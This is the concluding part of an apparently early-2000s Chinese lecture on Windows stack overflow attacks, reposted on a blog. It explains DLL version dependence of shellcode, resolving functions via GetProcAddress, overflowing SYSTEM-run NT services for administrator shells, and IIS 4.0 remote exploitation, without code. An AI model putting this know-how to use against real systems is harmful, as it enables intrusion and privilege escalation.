由于windows用戶進(jìn)程地址空間分配和堆棧處理有其獨(dú)立的特點(diǎn),導(dǎo)致了windows
環(huán)境下堆棧溢出攻擊時(shí),使用的堆棧溢出字符串,與unix下的,區(qū)別很大。這也
是我在寫完linux下的堆棧溢出系列之后,另外寫windows系列的原因。
?
另外,大家從破解的過(guò)程中,可以發(fā)現(xiàn)我一再?gòu)?qiáng)調(diào)windows的版本。事實(shí)上,這
也導(dǎo)致了windows下的exploit不具有通用性。大家的windows版本不一,
而exploit使用了很多動(dòng)態(tài)鏈接庫(kù)里面的庫(kù)函數(shù),其地址都是與dll的版本有
關(guān)系的。不同的dll版本,里面的庫(kù)函數(shù)的偏移地址就可能(注意:是可能)
不同。因?yàn)閣indows的patch天天有,他的一些dll就更新很快。甚至可能不同
語(yǔ)言版本的windows,其核心dll的版本都不同。用戶的dll一變更,
那么,我們的exploit里面的shellcode就要重新寫。
?
為了解決這個(gè)問(wèn)題,我想我們可以盡量減少固定地址的使用。即,使用
GetProcAddress來(lái)獲得我們將使用的每一個(gè)系統(tǒng)函數(shù),當(dāng)然這就大大加長(zhǎng)了
我們的shellcode。但是,這也無(wú)法消除對(duì)kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因?yàn)檫@兩個(gè)是shellcode中最基本的
函數(shù),自然就導(dǎo)致了對(duì)kernel32.dll版本的依賴。
?
這里奉勸大家,當(dāng)你寫的exploit發(fā)生無(wú)效頁(yè)錯(cuò)誤時(shí),不要灰心。運(yùn)行sice,
跟蹤你的shellcode,會(huì)發(fā)現(xiàn)問(wèn)題的根源的。
?
因此,這也回答了去年xsz,littleworm它們的問(wèn)題。當(dāng)時(shí)我們實(shí)驗(yàn)IIS4.0
的exploit總是沒(méi)有成功,client端執(zhí)行完了以后server端我們經(jīng)常看到
access violation的框,就是因?yàn)閟hellcode的版本依賴問(wèn)題導(dǎo)致的。
?
所以,對(duì)于windows下的堆棧溢出exploit,必須公開原代碼,才能由其他人完成
別的版本的修改,這一點(diǎn),大家以后公布exploit時(shí),要記住。
?
說(shuō)一句題外話:
很多人運(yùn)行了堆棧溢出exploit以后沒(méi)有成功,就認(rèn)為自己的機(jī)器沒(méi)有毛病。
對(duì)此,dark spyrit AKA Barnaby Jack曾有這樣的建議:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.
?
以前咱們水木黑客版97年堆棧溢出大討論的時(shí)候,rainer就很高水平的探討過(guò)
windows下的buffer overflow。他的文章現(xiàn)在還在,大家可以去精華區(qū)看看。
不過(guò)當(dāng)時(shí)只是探討原理,還停留在堆棧溢出的可行性,遠(yuǎn)沒(méi)有探討利用他來(lái)攻擊。
我也曾經(jīng)以為windows的堆棧溢出攻擊是不必要的。
?
后來(lái),NT的中普通用戶獲取admin,我想到過(guò)仿照UNIX,搞緩沖區(qū)溢出攻擊。
因?yàn)镹T里面有很多系統(tǒng)進(jìn)程,都是以system賬號(hào)啟動(dòng)的。如果我們可以將它們
overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),將擁有
超級(jí)用戶的權(quán)限。當(dāng)然可以為所欲為了。
?
這只是windows NT下堆棧溢出攻擊的一個(gè)應(yīng)用。去年,我研究IIS4.0的溢出之后,
發(fā)現(xiàn)帶有問(wèn)題的windows網(wǎng)絡(luò)服務(wù)程序?qū)е铝藈indows堆棧溢出,可以幫助我們
獲得遠(yuǎn)程控制。才認(rèn)識(shí)到windows堆棧溢出攻擊將是一個(gè)很有研究?jī)r(jià)值的攻擊
手段。
?
在后續(xù)的研究中,有時(shí)候因?yàn)槔щy幾乎要放棄。好在有小懶蟲(sysword),
小四(hellguard),康師傅(kxn)這些網(wǎng)友
給我的督促和幫助。在此感謝,同時(shí)感謝以前一起討論過(guò)windows系列堆棧溢出
的朋友littleworm,xsz它們。
?
最后,我希望我的講座作為拋磚引玉,能夠引發(fā)大家更深入的探討。希望大家在
看了之后,能夠?qū)indows堆棧溢出技術(shù)有一定了了解。如果大家能夠提出改進(jìn)的
算法,或者發(fā)現(xiàn)新的exploit,就真正是光大了我們黑客版的精神。
?
讓我們以下面這句話共勉:
"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."
?
-Noam Chomsky
轉(zhuǎn)載于:https://www.cnblogs.com/AloneSword/archive/2004/08/22/2237741.html
總結(jié)
以上是生活随笔為你收集整理的window系统下的堆栈溢出 作者:ipxodi的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 触发器怎么执行
- 下一篇: javascript中类的定义和使用{转